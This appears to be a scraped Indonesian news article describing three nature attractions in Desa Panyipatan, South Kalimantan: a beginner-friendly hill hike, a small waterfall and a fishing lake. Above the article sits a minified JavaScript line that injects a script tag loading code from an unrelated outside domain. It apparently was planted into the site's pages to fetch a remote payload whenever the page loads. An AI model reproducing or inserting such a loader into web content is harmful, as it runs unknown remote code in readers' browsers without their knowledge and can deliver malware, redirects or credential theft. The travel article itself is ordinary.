(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Wisata

Desa Panyipatan di Tala Tawarkan Tiga Wisata Alam Sejukkan Mata

KANALKALIMANTAN.COM, PELAIHARI – Kecamatan Panyipatan merupakan salah satu wilayah di Kabupaten Tanah Laut (Tala), Provinsi Kalimantan Selatan (Kalsel) yang menjadi jalur utama bagi wisatawan untuk menuju ke arah kawasan wisata alam Pantai Batakan, Desa Batakan atau Gunung Birah di Desa Kandangan Lama.

Kecamatan ini memiliki 10 desa, salah satunya adalah Desa Panyipatan. Tak hanya sekadar menjadi akses perlintasan untuk menuju objek wisata alam di desa lain, Desa Panyipatan memiliki objek wisata alam sendiri.

Di kalangan pendaki gunung dan wisatawan umum, Bukit Sapu Angin merupakan objek wisata alam yang paling terkenal di Desa Panyipatan. Bukit Sapu Angin menawarkan hamparan hijau pemandangan alam yang indah selama perjalanan menuju puncak, hingga mencapai titik puncaknya.

Bukit Sapu Angin pertama kali dikenal oleh khalayak dan mulai dikelola pada tahun 2018 sampai tahun 2020. Pada saat pandemi Covid-19 tahun 2020, jumlah wisatawan yang berkunjung turun dratis mengakibatkan Bukit Sapu Angin tidak ada lagi yang mengelola.

Hingga saat ini, meski belum pengelola resmi Bukit Sapu Angin tetap memiliki pengunjung yang mendaki dan berkemah di puncak. Bukit ini dikenal ramah bagi pendaki pemula dengan track mendaki ke puncak yang dapat ditempuh dalam waktu kurang lebih 45 menit dari titik awal pendakian.

Selain Bukit Sapu Angin, Desa Panyipatan juga memiliki potensi wisata alam lainnya, seperti Air Terjun Batu Ampar, dan Danau Jalan Soga di RT 8 Desa Panyipatan.

Air Terjun Batu Ampar

Air Terjun Batu Ampar yang berlokasi di kaki Bukit Sapu Angin. Foto: Putri Maulidya Arafat

Air terjun yang berlokasi di kaki Bukit Sapu Angin ini memang berukuran kecil dibandingkan dengan air terjun pada umumnya. Tapi keindahan Air Terjun Batu Ampar tetap mampu menawarkan aliran air pegunungan dan pemandangan indah di sekitarnya. Track perjalanan yang dilalui cukup rimbun dengan rerumputan, dan tumbuhan lainnya. Bagi pendaki pemula diperlukan sekitar waktu tempuh 10 – 20 menit jalan kaki dari titik awal pendakian menuju ke Air Terjun Batu Ampar.

Danau Jalan Soga

Danau Jalan Soga tempat pemancingan ikan bagi warga sekitar dan Desa Panyipatan lainnya Foto: Putri Maulidya Arafat

Danau Jalan Soga memiliki bentuk memanjang layaknya irigasi yang merupakan tempat pemancingan ikan bagi warga sekitar dan Desa Panyipatan lainnya. Tempat pemancingan ini menawarkan hamparan pemandangan sawah, perbukitan, dan pegunungan yang dapat dinikmati. Dari Jalan Raya Kuringkit menuju ke danau pemancingan ini memakan waktu 5-10 menit perjalanan menggunakan sepeda motor dengan jalur yang berbatu pada saat mulai mendekati lokasi

Dengan segala potensi wisata alam yang dimilikinya, Desa Panyipatan menawarkan berbagai pengalaman menarik bagi para pengunjung. Dari pesona hijau Bukit Sapu Angin, keindahan Air Terjun Batu Ampar yang menyejukkan, hingga ketenangan Danau Jalan Soga yang mempesona dan menyimpan keindahan yang layak untuk dieksplorasi.

Meskipun beberapa objek wisata seperti Bukit Sapu Angin belum dikelola secara resmi, daya tariknya tetap mampu memikat hati para pelancong. Desa Panyipatan, dengan segala keunikan dan keindahannya, dapat menjadi destinasi wisata alam yang patut dipertimbangkan untuk dikunjungi dan dinikmati, baik oleh wisatawan yang mencari petualangan maupun mereka yang ingin merasakan ketenangan alam yang asri. (Putri Maulidya Arafat, mahasiswi, Ilmu Komunikasi, Fisip, Universitas Lambung Mangkurat)

Editor: bie